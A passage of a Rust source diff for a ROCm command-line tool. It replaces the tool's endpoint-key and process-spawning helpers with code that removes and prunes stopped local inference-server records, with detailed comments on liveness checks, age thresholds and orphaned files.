unit-testable off-Windows. -fn ensure_public_bind_engine_supported( - engine: &str, - public_bind: bool, - is_windows: bool, -) -> Result<()> { - if public_bind && is_windows && engine == "lemonade" { - bail!( - "public binding with the lemonade engine is not supported on Windows: the endpoint \ - API key cannot be enforced there. Use `--engine vllm`, or bind a loopback host \ - (the default 127.0.0.1)." - ); - } - Ok(()) +/// The status string alone is not enough for a destructive command. +/// `refresh_from_engine_state` adopts `failed` straight from the engine's own +/// state file, and `refresh_managed_service_runtime_liveness` then returns early +/// for any non-live status without ever consulting the recorded pids — so a +/// server whose engine reported failure while its process is still up reads as +/// removable, and deleting it takes the log and the 0600 endpoint key out from +/// under a process that may still be serving. +fn managed_service_record_is_in_use(record: &ManagedServiceRecord) -> bool { + managed_service_is_live(record) + || recorded_service_pids(record) + .iter() + .any(|pid| process_is_running(*pid)) } -/// Refuse to (re)spawn a managed service recorded on a public host when its -/// endpoint API key is gone, so a respawn cannot reopen the endpoint anonymously. -/// -/// `serve()` applies the loopback-vs-public policy once, via -/// [`resolve_endpoint_auth`], and persists the resulting key. Every later spawn -/// — `rocm services restart`, and `rocmd`'s recovery supervisor — reads that key -/// file back and would otherwise treat "no key file" as "no auth wanted", -/// silently downgrading a protected public endpoint to an open one. The real -/// invariant is a property of the *host*, not of the file: a non-loopback bind -/// must always be authenticated. -/// -/// The gap is reachable through ordinary commands, because a stop deletes the -/// key file and `rocm services restart` accepts a stopped service id (its help -/// points at `rocm services list --all`). +/// Remove one non-running local server record and everything it owns. /// -/// `key_present` is a plain `bool` rather than a path so both branches are -/// unit-testable without touching the filesystem, mirroring `is_windows` in -/// [`ensure_public_bind_engine_supported`]. -fn ensure_public_service_has_endpoint_key( - host: &str, - key_present: bool, - requires_api_key: bool, -) -> Result<()> { - // Two ways a service can need a key. A public bind is the obvious one. The - // other is a service that asked for auth on a loopback bind, because - // something outside this process republishes the port — a tailnet publish - // survives a reboot, let alone a restart, so "loopback" stops meaning - // "only this machine" and the bind address can no longer be trusted to - // answer the question on its own. - if requires_api_key && !key_present { +/// Refuses a live record rather than stopping it: a removal that silently killed +/// a serving process would be a very different action from the one the user +/// asked for. Liveness is read from the record `load_managed_service` returns, +/// which has already been refreshed against the engine state file and the real +/// processes — a manifest still saying `ready` for a dead PID has demoted to +/// `stopped` by then, and must stay removable. +fn remove_managed_service_record(paths: &AppPaths, service_id: &str, yes: bool) -> Result { + validate_service_id(service_id)?; + let record = load_managed_service(paths, service_id)?; + // Checked before `--yes` on purpose: for a running server "stop it first" is + // the actionable error, and repeating the command with --yes must not be the + // advice a user takes away from it. + if managed_service_record_is_in_use(&record) { bail!( - "managed service was launched with `--require-api-key` but has no endpoint API key, \ - so restarting it would reopen it without authentication. Something outside this \ - machine may still be publishing its port. The key is dropped when a service stops \ - and cannot be recovered. Launch it again with \ - `rocm serve --require-api-key` (add `--api-key `, or set ROCM_SERVE_API_KEY, \ - to choose the key instead of generating one)." + "local server `{service_id}` is {} and cannot be removed while it is running.\n\nTry: rocm services stop {service_id} --yes", + record.status ); } - if rocm_engine_protocol::is_public_bind_host(host) && !key_present { + if !yes { bail!( - "managed service is bound to the public host `{host}` but has no endpoint API key, \ - so restarting it would reopen it without authentication. The key is dropped when a \ - service stops and cannot be recovered. Launch it again with \ - `rocm serve --host {host} --allow-public-bind` (add `--api-key `, or set \ - ROCM_SERVE_API_KEY, to choose the key instead of generating one)." + "Removing local server record `{service_id}` requires --yes.\n\nTry: rocm services remove {service_id} --yes" ); } - Ok(()) -} -/// Write `contents` to `path` with owner-only (0600) permissions on Unix so a -/// secret is not world-readable. On non-Unix, default permissions apply. -pub(crate) fn write_private_file_0600(path: &Path, contents: &[u8]) -> Result<()> { - if let Some(parent) = path.parent() { - fs::create_dir_all(parent)?; - } - #[cfg(unix)] - { - use std::os::unix::fs::OpenOptionsExt as _; - let mut file = fs::OpenOptions::new() - .write(true) - .create(true) - .truncate(true) - .mode(0o600) - .open(path)?; - std::io::Write::write_all(&mut file, contents)?; - } - #[cfg(not(unix))] - { - fs::write(path, contents)?; + let artifacts = service_record_artifacts(paths, &record.service_id, &record.engine)?; + let mut output = String::new(); + // Printed *before* the delete, because after it there is nothing left to + // point at: this is the last moment the log path is useful. + let _ = writeln!( + output, + "Removing local server record `{service_id}` (status: {}).", + record.status + ); + let _ = writeln!(output, " log: {}", artifacts.log.display()); + let _ = writeln!( + output, + "After this, `rocm services logs {service_id}` and `rocm services restart {service_id} --yes` no longer work." + ); + let _ = writeln!(output); + + let removed = remove_service_record_artifacts(&artifacts)?; + let mut report = cli_report::ActionReport::new("Local server record removed") + .detail("service", &record.service_id) + .detail("engine", &record.engine) + .detail("files removed", removed.len()); + for path in &removed { + report = report.detail("removed", path.display()); } - Ok(()) + let _ = write!(output, "{}", report.render()); + Ok(output) } -#[cfg(not(windows))] -fn detach_background_command(command: &mut ProcessCommand) { - rocm_core::detach_command_session(command); +/// One record `rocm services prune` would delete. +#[derive(Debug, Clone)] +struct ServicePruneEntry { + service_id: String, + engine: String, + status: String, + artifacts: ServiceRecordArtifacts, } -#[cfg(not(windows))] -fn attach_background_stdio(command: &mut ProcessCommand, log_path: Option<&Path>) -> Result<()> { - if let Some(log_path) = log_path { - let log = fs::OpenOptions::new() - .create(true) - .append(true) - .open(log_path) - .with_context(|| format!("failed to open {}", log_path.display()))?; - command - .stdout(Stdio::from(log.try_clone()?)) - .stderr(Stdio::from(log)); - } else { - command.stdout(Stdio::null()).stderr(Stdio::null()); - } - Ok(()) +#[derive(Debug, Default)] +struct ServicePrunePlan { + remove: Vec, + /// Files whose record is already gone — chiefly engine state under + /// `/engines//state/`, which no removal path has ever swept. + orphans: Vec, + /// Human-readable reasons, one per record or file left in place. + skipped: Vec, + /// How many records were skipped purely because they are still running. + skipped_live: usize, + /// How many were removable in every respect but too recent. Counted apart + /// from `skipped` so the summary can name the flag that includes them: a + /// silent "nothing to do" on a host full of fresh failures reads as the + /// command being broken. + skipped_recent: usize, } -#[cfg(not(windows))] -fn managed_engine_startup_failure_detail(status: ExitStatus, log_path: &Path) -> String { - let mut recent_lines = read_optional_tail_lines(log_path, 80, "service log"); - if recent_lines.is_empty() { - for _ in 0..5 { - thread::sleep(Duration::from_millis(120)); - recent_lines = read_optional_tail_lines(log_path, 80, "service log"); - if !recent_lines.is_empty() { - break; - } - } - } - if recent_lines.is_empty() { - return format!( - "managed engine exited immediately with status {status}; inspect {}", - log_path.display() - ); - } - format!( - "managed engine exited immediately with status {status}; inspect {}\n\nrecent startup log output:\n{}", - log_path.display(), - recent_lines.join("\n") - ) +/// Modification time of `path`, or `None` when it cannot be read. +fn path_modified(path: &Path) -> Option { + fs::metadata(path).ok()?.modified().ok() } -#[cfg(not(windows))] -fn managed_service_process_command(program: &Path, args: &[String]) -> ProcessCommand { - let mut command = ProcessCommand::new(program); - command.args(args); - command + +/// Age of a modification time relative to `now`. `None` when the time is missing +/// or in the future, which is treated as "too new to touch". +fn age_from_modified(modified: Option, now: SystemTime) -> Option { + now.duration_since(modified?).ok() } -/// Engine-neutral result of a managed launch. Returned rather than printed so the -/// caller can render it either as the rich deployment summary (interactive TTY) or -/// as the plain line-by-line form (piped output, chat assistant), from one code path. -struct ManagedLaunchReport { - service_id: String, - /// `http://host:port/v1`. - endpoint_url: String, - /// `"ready"` (inference confirmed), `"running"` (model listed but not serving - /// yet), `"starting"` (endpoint not answering), or the existing service's - /// status when nothing was spawned. - status: String, - /// True when an equivalent service was already live and nothing was spawned. - already_running: bool, - child_pid: Option, - log_path: Option, - manifest_path: Option, +/// Whether a modification time is old enough to prune, given a threshold. +/// +/// Fail-closed: a time that cannot be determined is kept, except when the +/// threshold is zero (the explicit "everything that is not running" opt-out). +fn prunable_by_modified(modified: Option, min_age: Duration, now: SystemTime) -> bool { + if min_age.is_zero() { + return true; + } + age_from_modified(modified, now).is_some_and(|age| age >= min_age) } -/// Either an already-live service (nothing spawned) or a freshly spawned engine -/// child that is `running` but not yet HTTP-ready. +/// Whether `path` is old enough to prune, given a threshold in hours. /// -/// Split out of [`start_managed_service`] so the attached (`--verbose` / -/// `--foreground`) serve path can spawn the very same detached child and stream -/// its log live from the first line — including startup — instead of blocking on -/// the readiness wait before any output appears. -enum ManagedSpawn { - AlreadyRunning(ManagedLaunchReport), - // `ManagedServiceRecord` is large; box it so the two variants stay a similar - // size (clippy::large_enum_variant). - Spawned { - record: Box, - child_pid: u32, - }, +/// Only sound for files nothing in this run rewrites. Service manifests are +/// rewritten by [`load_managed_services`], so their times are snapshotted up +/// front by [`service_manifest_modified_times`] and gated with +/// [`prunable_by_modified`] instead. +fn prunable_by_age(path: &Path, min_age: Duration, now: SystemTime) -> bool { + prunable_by_modified(path_modified(path), min_age, now) } -/// Spawn the detached engine child shared by the managed (background) and -/// attached (`--verbose`/`--foreground`) serve paths. Returns before the HTTP -/// readiness wait; callers decide whether to block on readiness -/// ([`start_managed_service`]) or start tailing the log immediately -/// ([`run_attached_service`]). -#[allow(clippy::too_many_arguments)] -fn spawn_managed_engine_child( - paths: &AppPaths, - engine: &str, - service_id: &str, - requested_model: &str, - resolve: &ResolveModelResponse, - host: &str, - port: u16, - device_policy: &DevicePolicy, - gpu_indices: &[u32], - runtime_id: Option<&str>, - env_id: Option<&str>, - engine_recipe: Option<&EngineRecipeHint>, - require_api_key: bool, -) -> Result { - paths.ensure()?; - fs::create_dir_all(paths.services_dir())?; - - // Idempotency guard: if a managed service for this engine+model is already - // alive, surface it and spawn nothing. A second `serve --managed` (e.g. the - // chat assistant re-issuing the same request) is treated as satisfied, not - // an error. Keyed on engine+canonical model — the freshly generated - // `service_id` is timestamp-unique and would never match an existing one. - // Stale/dead services fall through and relaunch normally. - let requested_recipe_json = engine_recipe - .map(serde_json::to_string) - .transpose() - .context("failed to encode engine recipe hint")?; - if let Some(existing) = - existing_live_managed_service(paths, engine, &resolve.canonical_model_id) - { - if existing.engine_recipe_json != requested_recipe_json { - bail!( - "managed service `{}` is already running for engine `{engine}` and model `{}` with different serve options (recipe hint, tool-call parser, or generation defaults); stop it and run `rocm serve` again to apply the requested options", - existing.service_id, - resolve.canonical_model_id - ); +/// Modification times of every `*.json` in the services directory, taken before +/// anything in this run can rewrite them. +/// +/// [`load_managed_services`] refreshes each record against the engine state and +/// the real processes, and persists the result whenever that changes the status +/// — which is exactly what happens the first time anything observes that a +/// `ready`/`running`/`starting` server has died. That rewrite lands *after* the +/// `now` the age gate compares against, so a manifest read afterwards looks +/// newer than the run itself and the fail-closed branch keeps it forever. A host +/// whose servers died weeks ago but were never listed since would see +/// `rocm services prune --yes` remove nothing while reporting those records as +/// too recent to touch. +fn service_manifest_modified_times(paths: &AppPaths) -> HashMap { + let mut times = HashMap::new(); + let Ok(entries) = fs::read_dir(paths.services_dir()) else { + return times; + }; + for path in entries.flatten().map(|entry| entry.path()) { + if path.extension().and_then(|value| value.to_str()) != Some("json") { + continue; } - // Reuse cannot satisfy a demand for auth the running server never got. - // The engine reads its key once, at launch, from the environment this - // function builds below — so a server started without one keeps serving - // anonymously no matter what is written afterwards. Upgrading the record - // here would be worse than doing nothing: the record would claim auth - // that the live process does not enforce, and - // `ensure_public_service_has_endpoint_key` would pass on the strength of - // a key file nothing reads. - // - // This is what `rocm remote serve` relies on. It publishes a loopback - // port onto the tailnet and prints "the API key above is what stops - // anyone else calling it". Reusing an unauthenticated service silently - // would make that sentence false about an endpoint the whole tailnet can - // reach. Refusing is the only answer that fails closed, and it is the - // same shape as the recipe mismatch above. - if require_api_key && !existing.requires_api_key { - bail!( - "managed service `{}` is already running for engine `{engine}` and model `{}` \ - without authentication, and a running server cannot be given a key it did not \ - start with; stop it with `rocm services stop {}` and run the command again to \ - serve it with `--require-api-key`", - existing.service_id, - resolve.canonical_model_id, - existing.service_id - ); + if let Some(modified) = path_modified(&path) { + times.insert(path, modified); } - record_cli_audit_event( - paths, - "service", - "managed_service_launch_skipped", - "info", - format!( - "skipped duplicate managed launch engine={engine} model={} existing_service_id={} status={}", - resolve.canonical_model_id, existing.service_id, existing.status - ), - Some(&existing.service_id), - ); - return Ok(ManagedSpawn::AlreadyRunning(ManagedLaunchReport { - service_id: existing.service_id, - endpoint_url: existing.endpoint_url, - status: existing.status, - already_running: true, - child_pid: None, - log_path: None, - manifest_path: None, - })); } + times +} - let mut record = ManagedServiceRecord::new( - paths, - service_id, - engine, - requested_model, - resolve.canonical_model_id.clone(), - host, - port, - "managed", - 0, - runtime_id.map(str::to_owned), - env_id.map(str::to_owned), - Some(device_policy_name(device_policy).to_owned()), - ); - record.gpu_indices = gpu_indices.to_vec(); - record.engine_recipe_json = requested_recipe_json; - // The flag the user actually passed, carried through rather than re-derived. - // - // Deriving it from key-file presence looked equivalent and was not: - // `resolve_endpoint_auth` mints a key for *every* non-loopback bind whether or - // not auth was demanded, so a plain `--host 0.0.0.0 --allow-public-bind` - // recorded `true` here. The guard below tests this field before the bind - // address, so that service was then refused with a message naming a flag it - // never used and a relaunch command that drops `--allow-public-bind` — the - // public-bind branch, which carries the right command, became unreachable. - // - // This field means "the user demanded auth on a bind that would not otherwise - // require it". A public bind needs no such record; its address still says so. - record.requires_api_key = require_api_key; - record.write()?; +/// The age threshold one `prune` invocation runs with, in hours. +/// +/// `--any-age` is the discoverable spelling of `--older-than-hours 0` — clap +/// rejects the two together — so this only has to collapse the flag. It is a +/// function rather than a line inside the dispatch `match` so a test can drive +/// the real parsed arguments through the same mapping the command uses. +const fn service_prune_min_age_hours(older_than_hours: u64, any_age: bool) -> u64 { + if any_age { 0 } else { older_than_hours } +} - if let Some(parent) = record.engine_state_path.parent() { - fs::create_dir_all(parent) - .with_context(|| format!("failed to create {}", parent.display()))?; +fn describe_hours(hours: u64) -> String { + if hours == 1 { + "1 hour".to_owned() + } else { + format!("{hours} hours") } - fs::File::create(&record.log_path) - .with_context(|| format!("failed to create {}", record.log_path.display()))?; - let current_exe = managed_service_launcher_path() - .context("failed to resolve current rocm executable path")?; - let serve_args = builtin_engine_serve_http_args( - engine, - service_id, - &resolve.canonical_model_id, - host, - port, - device_policy, - gpu_indices, - runtime_id, - env_id, - engine_recipe, - &record.engine_state_path, - Some(&record.log_path), - )?; - let engine_envs_root = env_root_for_service(paths, engine, runtime_id, env_id)?; - // Hand the child the *path* to the endpoint key file (public bind only) via the - // environment. A path — not the secret value — is what the detached-spawn - // primitives accept as an env override, and it keeps the key off both the argv - // and the environment block. `serve()` wrote the file before spawning. - // Validity, not mere existence: the engine adapters resolve the key with - // `endpoint_api_key_from_file` and enforce nothing when it yields `None`, so - // an empty or malformed key file would otherwise satisfy the guard below and - // still produce an unauthenticated public listener. - let endpoint_key_file = endpoint_keys::endpoint_key_file_if_present(paths, service_id) - .filter(|path| rocm_engine_protocol::endpoint_api_key_from_file(path).is_some()); - // `serve()` already resolved and stored the key for a public bind, so the - // public-bind branch cannot fire on the fresh-launch path today. It is the - // shared choke point for managed spawns, so enforce the invariant here too - // rather than relying on every future caller having done so. - // - // `record.requires_api_key` is passed, not a literal, and the two arguments - // are deliberately different things: that field is the `--require-api-key` - // flag the caller passed, `endpoint_key_file` is whether a *usable* key is on - // disk. A present but empty or malformed key file is where they disagree, and - // is exactly what the `requires_api_key` branch exists to refuse. - // - // The field is threaded, never derived from the key file. Deriving it marked - // every public bind as having demanded auth — see the assignment above. - ensure_public_service_has_endpoint_key( - host, - endpoint_key_file.is_some(), - record.requires_api_key, - )?; - #[cfg(windows)] - let child_pid = { - let env_values = app_path_env_var_values(paths, engine_envs_root.as_deref()); - let mut env_refs = app_path_env_var_refs(&env_values); - if let Some(key_file) = endpoint_key_file.as_deref() { - env_refs.push((rocm_engine_protocol::ENDPOINT_API_KEY_FILE_ENV, key_file)); - } - rocm_core::spawn_detached_no_inherit(¤t_exe, &serve_args, &env_refs) - .context("failed to launch managed engine process")? - }; - #[cfg(not(windows))] - let child_pid = { - let mut command = managed_service_process_command(¤t_exe, &serve_args); - command.stdin(Stdio::null()); - attach_background_stdio(&mut command, Some(&record.log_path))?; - detach_background_command(&mut command); - apply_app_path_env(&mut command, paths); - if let Some(engine_envs_root) = engine_envs_root.as_deref() { - command.env("ROCM_CLI_ENGINE_ENVS_ROOT", engine_envs_root); - } - if let Some(key_file) = endpoint_key_file.as_deref() { - command.env(rocm_engine_protocol::ENDPOINT_API_KEY_FILE_ENV, key_file); - } - let mut child = command - .spawn() - .context("failed to launch managed engine process")?; - let child_pid = child.id(); - thread::sleep(Duration::from_millis(200)); - if let Some(status) = child - .try_wait() - .context("failed to check managed engine startup state")? - { - bail!( - "{}", - managed_engine_startup_failure_detail(status, &record.log_path) - ); - } - child_pid - }; - record.supervisor_pid = child_pid; - record.engine_pid = Some(child_pid); - // Capture the identity token while the child is alive, so a later stop - // verifies this exact process rather than a recycled PID. - record.supervisor_start_ticks = rocm_core::process_start_ticks(child_pid); - record.status = "running".to_owned(); - record.write()?; - - Ok(ManagedSpawn::Spawned { - record: Box::new(record), - child_pid, - }) } -#[allow(clippy::too_many_arguments)] -fn start_managed_service( - engine: &str, - service_id: &str, - requested_model: &str, - resolve: &ResolveModelResponse, - host: &str, - port: u16, - device_policy: &DevicePolicy, - gpu_indices: &[u32], - runtime_id: Option<&str>, - env_id: Option<&str>, - engine_recipe: Option<&EngineRecipeHint>, - endpoint_api_key: Option<&str>, - launch_lock: rocm_core::FileLock, - require_api_key: bool, - on_wait_tick: &mut dyn FnMut(Duration), -) -> Result { - let paths = AppPaths::discover()?; - let (mut record, child_pid) = match spawn_managed_engine_child( - &paths, - engine, - service_id, - requested_model, - resolve, - host, - port, - device_policy, - gpu_indices, - runtime_id, - env_id, - engine_recipe, - require_api_key, - )? { - ManagedSpawn::AlreadyRunning(report) => return Ok(report), - ManagedSpawn::Spawned { record, child_pid } => (*record, child_pid), - }; - // The claiming service record is now persisted, so the selected GPU is - // visible to any concurrent auto-selection. Release the launch lock before - // the readiness wait below, which can block for many seconds — holding it - // that long would needlessly serialize unrelated serves. - drop(launch_lock); +/// Files in `services_dir` and the engine state dirs that no longer belong to +/// any record. +/// +/// A `.log` or `.endpoint-key` counts as orphaned only when `.json` +/// is *absent from disk* — not merely absent from `records`. An unparseable +/// manifest is skipped by `load_managed_services`, and treating its siblings as +/// orphans would quietly delete the log of the one record a user most needs to +/// investigate. The corrupt manifest itself is never removed for the same +/// reason. +/// +/// "No `.json` beside it" is also exactly what a *launch in progress* looks +/// like: `serve` writes the 0600 `.endpoint-key` before +/// [`spawn_managed_engine_child`] writes the first `.json`. Nothing about +/// the file distinguishes the two cases — under `--any-age` there is no age gate +/// left to ask — so this function does not try. It is only ever reached with the +/// managed-launch lock held, which excludes that window outright; see +/// [`prune_managed_service_records`]. +/// +/// `services_dir` also holds `launch.lock`, which is shared by every managed +/// launch rather than owned by one service (see +/// [`AppPaths::managed_launch_lock_path`]). Only the three per-service +/// extensions are considered, so the lock is never a candidate — including the +/// one this sweep is itself running under. +fn collect_service_orphans(paths: &AppPaths, min_age: Duration, now: SystemTime) -> Vec { + let services_dir = paths.services_dir(); + let mut orphans = Vec::new(); - #[cfg(windows)] - thread::sleep(Duration::from_millis(200)); + let push_if_orphaned = |path: &Path, orphans: &mut Vec| { + let Some(stem) = path.file_stem().and_then(|stem| stem.to_str()) else { + return; + }; + if services_dir.join(format!("{stem}.json")).exists() { + return; + } + if prunable_by_age(path, min_age, now) { + orphans.push(path.to_path_buf()); + } + }; - let readiness = wait_for_service_http_ready_with_progress( - engine, - host, - port, - &resolve.canonical_model_id, - endpoint_api_key, - Duration::from_secs(45), - on_wait_tick, - ); - let launch_status = status_for_readiness(readiness); - record.status = launch_status.to_owned(); - if readiness == EndpointReadiness::Serving { - // Latch the verification the wait just performed, so the readiness checks - // behind `services list` and chat read it instead of re-probing. - record.inference_verified_at_unix_ms = Some(rocm_core::unix_time_millis() as u64); + if let Ok(entries) = fs::read_dir(&services_dir) { + for path in entries.flatten().map(|entry| entry.path()) { + if matches!( + path.extension().and_then(|value| value.to_str()), + Some("log" | "endpoint-key") + ) { + push_if_orphaned(&path, &mut orphans); + } + } } - record.write()?; - let endpoint_url = format!("{}/v1", format_http_base_url(host, port)); - record_cli_audit_event( - &paths, - "service", - "managed_service_launch", - "info", - format!( - "launched managed service engine={} model={} endpoint={} readiness={}", - engine, resolve.canonical_model_id, endpoint_url, launch_status - ), - Some(service_id), - ); - Ok(ManagedLaunchReport { - service_id: service_id.to_owned(), - endpoint_url, - status: launch_status.to_owned(), - already_running: false, - child_pid: Some(child_pid), - log_path: Some(record.log_path), - manifest_path: Some(record.manifest_path), - }) -} -/// Reproduce the original plain, line-by-line managed-launch output. Used for -/// non-interactive output (piped, CI, the chat assistant's `serve --managed`), -/// where the animated summary is inappropriate. The interactive path renders the -/// summary table via [`serve_summary`] instead. -fn print_managed_launch_plain(report: &ManagedLaunchReport, endpoint_api_key: Option<&str>) { - if report.already_running { - println!("managed service already running"); - println!(" service_id: {}", report.service_id); - println!(" endpoint: {}", report.endpoint_url); - println!(" status: {}", report.status); - println!(" note: existing service detected; no second process spawned"); - return; - } - println!("managed service launched"); - println!(" service_id: {}", report.service_id); - if let Some(child_pid) = report.child_pid { - println!(" process_pid: {child_pid}"); - } - println!(" endpoint: {}", report.endpoint_url); - if let Some(key) = endpoint_api_key { - print!( - "{}", - render_endpoint_client_config(&report.endpoint_url, key) - ); - } - if let Some(log_path) = report.log_path.as_deref() { - println!(" log_path: {}", log_path.display()); - } - if let Some(manifest_path) = report.manifest_path.as_deref() { - println!(" manifest_path: {}", manifest_path.display()); + // `/engines//state/.json`. `engines/plugins` has no + // `state` subdirectory, so it never yields candidates. + if let Ok(engines) = fs::read_dir(paths.data_dir.join("engines")) { + for engine_dir in engines.flatten().map(|entry| entry.path()) { + let Some(engine) = engine_dir.file_name().and_then(|name| name.to_str()) else { + continue; + }; + let Ok(states) = fs::read_dir(paths.engine_state_dir(engine)) else { + continue; + }; + for path in states.flatten().map(|entry| entry.path()) { + if path.extension().and_then(|value| value.to_str()) == Some("json") { + push_if_orphaned(&path, &mut orphans); + } + } + } } - println!(" readiness: {}", report.status); -} - -/// Render the one-time secure client configuration for a public, authenticated -/// endpoint. This is the *intended* channel for delivering the key to the user -/// (unlike logs/status, which must never contain it) — it prints the key once at -/// launch alongside a ready-to-use example. Callers only invoke this for a -/// non-loopback bind that generated/received a key. -fn render_endpoint_client_config(endpoint_url: &str, api_key: &str) -> String { - let mut out = String::new(); - let _ = writeln!(out, " api key: {api_key}"); - let _ = writeln!( - out, - " note: this key is shown only now — clients must send `Authorization: Bearer `" - ); - let _ = writeln!( - out, - " example: curl -H \"Authorization: Bearer {api_key}\" {endpoint_url}/models" - ); - out -} - -/// The "should we spawn?" decision for [`ensure_background_helper_running`], -/// factored out so it is testable hermetically (no spawn side effect). Returns -/// `true` when the file-based runtime state says the daemon is `running` AND its -/// recorded `daemon_pid` is a live process — i.e. a second spawn must be guarded. -/// A missing state file, `running=false`, or a dead/zero pid returns `false`. -pub(crate) fn background_helper_already_running(paths: &AppPaths) -> Result { - Ok(AutomationRuntimeState::load(paths)? - .is_some_and(|state| state.running && rocm_core::process_is_running(state.daemon_pid))) -} -/// Shared daemon-lifecycle entrypoint: ensures the background automation helper -/// (`rocm daemon`) is running, spawning it detached if not. Liveness is read from -/// the file-based automation runtime state. Intentionally `pub(crate)` — reused by -/// both the `serve --managed` path and `automations enable`. Only the spawn result -/// itself (`command.spawn()` / `spawn_detached_no_inherit`) is logged rather than -/// propagated; setup errors (path discovery, stdio attach) still return `Err`. -pub(crate) fn ensure_background_helper_running() -> Result<()> { - ensure_background_helper_running_quiet(false) + orphans.sort(); + orphans } -/// As [`ensure_background_helper_running`], but suppresses the stdout status line -/// when `quiet` is set. The interactive `rocm serve` summary path uses `quiet` so -/// the daemon-spawn note does not appear above the deployment summary table. -pub(crate) fn ensure_background_helper_running_quiet(quiet: bool) -> Result<()> { - let paths = AppPaths::discover()?; - if background_helper_already_running(&paths)? { - return Ok(()); +fn build_service_prune_plan( + paths: &AppPaths, + min_age: Duration, + hours: u64, + now: SystemTime, +) -> Result { + let mut plan = ServicePrunePlan::default(); + // Taken first, because `load_managed_services` below rewrites the manifest of + // every record whose status its refresh corrects — see + // `service_manifest_modified_times` for why reading the time afterwards makes + // the age gate keep exactly the long-dead records prune exists to remove. + let manifest_times = service_manifest_modified_times(paths); + // `load_managed_services` refreshes each record against the engine state and + // the real processes before returning it, so liveness below is read from the + // refreshed view, never from the manifest as it was on disk. + for record in load_managed_services(paths)? { + if managed_service_record_is_in_use(&record) { + plan.skipped_live += 1; + plan.skipped.push(format!( + "{} is {} — stop it first with `rocm services stop {} --yes`", + record.service_id, record.status, record.service_id + )); + continue; + } + let artifacts = match service_record_artifacts(paths, &record.service_id, &record.engine) { + Ok(artifacts) => artifacts, + Err(error) => { + plan.skipped.push(format!("{}: {error}", record.service_id)); + continue; + } + }; + if !prunable_by_modified( + manifest_times.get(&artifacts.manifest).copied(), + min_age, + now, + ) { + plan.skipped_recent += 1; + plan.skipped.push(format!( + "{} changed less than {} ago", + record.service_id, + describe_hours(hours) + )); + continue; + } + plan.remove.push(ServicePruneEntry { + service_id: record.service_id.clone(), + engine: record.engine.clone(), + status: record.status.clone(), + artifacts, + }); } + plan.orphans = collect_service_orphans(paths, min_age, now); + plan.remove + .sort_by(|left, right| left.service_id.cmp(&right.service_id)); + plan.skipped.sort(); + Ok(plan) +} - // The check above and the spawn below are a TOCTOU window: two concurrent - // callers (e.g. two `rocm serve`) can both read "not running" and each spawn - // a daemon. Serialize the decision on a lock file and re-check under it — the - // first holder spawns, later holders observe the now-running daemon and - // return without spawning. The unlocked pre-check above keeps the common - // already-running case lock-free. - let _autostart_lock = rocm_core::FileLock::acquire(paths.automation_autostart_lock_path())?; - if background_helper_already_running(&paths)? { - return Ok(()); +fn render_service_prune_plan(plan: &ServicePrunePlan, hours: u64, dry_run: bool) -> String { + let mut output = String::new(); + let _ = writeln!(output, "Local server record review"); + let _ = writeln!(output); + if hours == 0 { + let _ = writeln!( + output, + "Including every record that is not running, however recent." + ); + } else { + let _ = writeln!( + output, + "Only records and files untouched for at least {}.", + describe_hours(hours) + ); } + let _ = writeln!(output); - // The lock alone does not close the window: the spawned daemon does not - // publish its `running` runtime state until well after `spawn()` (clap parse, - // runtime build, config load, banner flush). A second caller that acquires - // this lock during that gap still sees "not running" and would spawn a - // duplicate. Bridge the gap with a short-lived claim recording the child PID - // and spawn time: a holder that finds a live, recent claim defers instead. - let claim_path = paths.automation_autostart_claim_path(); - if autostart_spawn_in_flight( - read_autostart_claim(&claim_path), - now_unix_millis(), - AUTOSTART_CLAIM_TTL_MS, - rocm_core::process_is_running, - ) { - return Ok(()); + if plan.remove.is_empty() && plan.orphans.is_empty() { + let _ = writeln!(output, "Nothing would be removed."); } - - let exe = managed_service_launcher_path() - .context("failed to resolve current rocm executable path")?; - let args = vec!["daemon".to_owned()]; - #[cfg(windows)] - let spawn_result = { - let env_values = app_path_env_var_values(&paths, None); - let env_refs = app_path_env_var_refs(&env_values); - rocm_core::spawn_detached_no_inherit(&exe, &args, &env_refs) - }; - #[cfg(not(windows))] - let spawn_result = { - let mut command = managed_service_process_command(&exe, &args); - command.stdin(Stdio::null()); - attach_background_stdio(&mut command, None)?; - detach_background_command(&mut command); - apply_app_path_env(&mut command, &paths); - command.spawn().map(|child| child.id()) - }; - match spawn_result { - Ok(daemon_pid) => { - // Record the claim before returning (and thus releasing the lock) so a - // concurrent holder in the spawn→publish window defers. Best-effort: a - // failed write only reopens the original, already-tolerated race. - let _ = write_autostart_claim( - &claim_path, - AutostartClaim { - daemon_pid, - spawned_at_ms: now_unix_millis(), - }, + if plan.skipped_recent > 0 { + let _ = writeln!( + output, + "{} record(s) changed less than {} ago and are kept; add --any-age to include them.", + plan.skipped_recent, + describe_hours(hours) + ); + } + if !plan.remove.is_empty() { + let _ = writeln!( + output, + "{} local server record(s) would be removed:", + plan.remove.len() + ); + for entry in &plan.remove { + let _ = writeln!( + output, + " - {} (status: {}, engine: {})", + entry.service_id, entry.status, entry.engine ); - if !quiet { - println!(" helper: started background automation daemon"); + for path in entry.artifacts.paths() { + if path.exists() { + let _ = writeln!(output, " {}", path.display()); + } } } - Err(error) if !quiet => { - println!(" helper: could not start background automation daemon: {error}"); - } - Err(_) => {} + let _ = writeln!(output); + let _ = writeln!( + output, + "Their logs go with them, and `rocm services restart --yes` stops working for them." + ); } - Ok(()) -} - -/// How long an autostart claim is honoured before it is treated as stale even if -/// its recorded PID is still alive. Comfortably longer than a cold daemon boot -/// (clap parse → runtime build → config load → state publish) yet short enough -/// that a crashed spawn cannot suppress autostart for long. -const AUTOSTART_CLAIM_TTL_MS: u128 = 30_000; - -/// A just-spawned daemon's autostart claim: the child PID and the wall-clock time -/// (milliseconds since the Unix epoch) the spawn was recorded. It lets a -/// concurrent autostart holder distinguish a live, in-flight spawn from a stale -/// leftover. Serialized as a single `" "` line — no dependency and -/// trivially forward-compatible. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -struct AutostartClaim { - daemon_pid: u32, - spawned_at_ms: u128, -} - -/// Milliseconds since the Unix epoch, or `0` if the clock is before the epoch -/// (which only makes a fresh claim look old — safe, it just permits a respawn). -fn now_unix_millis() -> u128 { - std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .map_or(0, |elapsed| elapsed.as_millis()) -} - -/// Read an autostart claim, returning `None` when the file is absent or -/// unparseable (either is treated as "no claim", so a respawn is permitted). -fn read_autostart_claim(path: &Path) -> Option { - let text = std::fs::read_to_string(path).ok()?; - let mut parts = text.split_whitespace(); - let daemon_pid = parts.next()?.parse().ok()?; - let spawned_at_ms = 